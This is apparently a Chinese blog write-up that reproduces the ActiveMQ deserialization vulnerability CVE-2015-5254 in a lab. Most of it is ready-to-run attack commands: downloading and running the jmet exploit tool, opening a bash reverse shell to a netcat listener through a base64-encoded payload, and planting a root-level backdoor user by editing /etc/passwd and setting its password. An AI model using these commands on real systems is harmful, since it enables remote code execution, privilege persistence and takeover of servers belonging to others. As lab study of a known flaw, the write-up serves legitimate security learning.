记录ActiveMQ反序列化漏洞(CVE-2015-5254)复现过程
ActiveMQ 介绍
Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的一种开源消息中间件,它支持Java消息服务,集群,Spring框架等。
漏洞版本范围
Apache ActiveMQ版本5.x之前的5.13.0安全漏洞,该程序引起的漏洞并不限制可以在代理中序列化的类。远程攻击者可以使特殊的序列化Java消息服务(JMS)ObjectMessage对象利用此漏洞来执行任意代码。
环境搭建
1 | 攻击机:192.168.2.107(kali linux) |
运行环境后,将在靶机端口61616和8161上建立两个端口。端口61616是工作端口,消息在此端口上传递。端口8161是网页管理页面端口。访问靶机8161端口,您可以看到网络管理页面(默认密码admin/admin)。
复现过程
写入文件
下载利用工具jmet
1 | wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar |
向靶机写入文件
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /success" -Yp ROME 192.168.2.100 61616 |
触发漏洞
1 | 访问http://192.168.2.100:8161/admin/browse.jsp?JMSDestination=event |
进入靶机发现success文件成功创建
反弹shell
攻击机执行
1 | nc -lvp 2333 |
受害机需要借助base64编码来绕过执行的限制
先将以下命令进行base64编码,记得解码一下看看是不是原文,千万要是原文,不要有url编码的过程(骂人
1 | bash -i >& /dev/tcp/IP/2333 0>&1 |
执行
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616 |
点击触发反序列化即可
创建用户
向root用户组添加用户test
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 127.0.0.1 61616 |
修改test的uid为0
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 127.0.0.1 61616 |
修改密码
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:testpwd123" | chpasswd" -Yp ROME 127.0.0.1 61616 |
其他利用方式
此外,还可以写入ssh密钥等,方式不唯一
参考文章
- https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
- https://www.cnblogs.com/backlion/p/9970516.html
- https://www.icekam.com/post/activemq-deserialization-vulnerability-cve-2015-5254-practice-record/
本文链接: https://yd0ng.github.io/2020/01/04/CVE-2015-5254%E5%A4%8D%E7%8E%B0/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!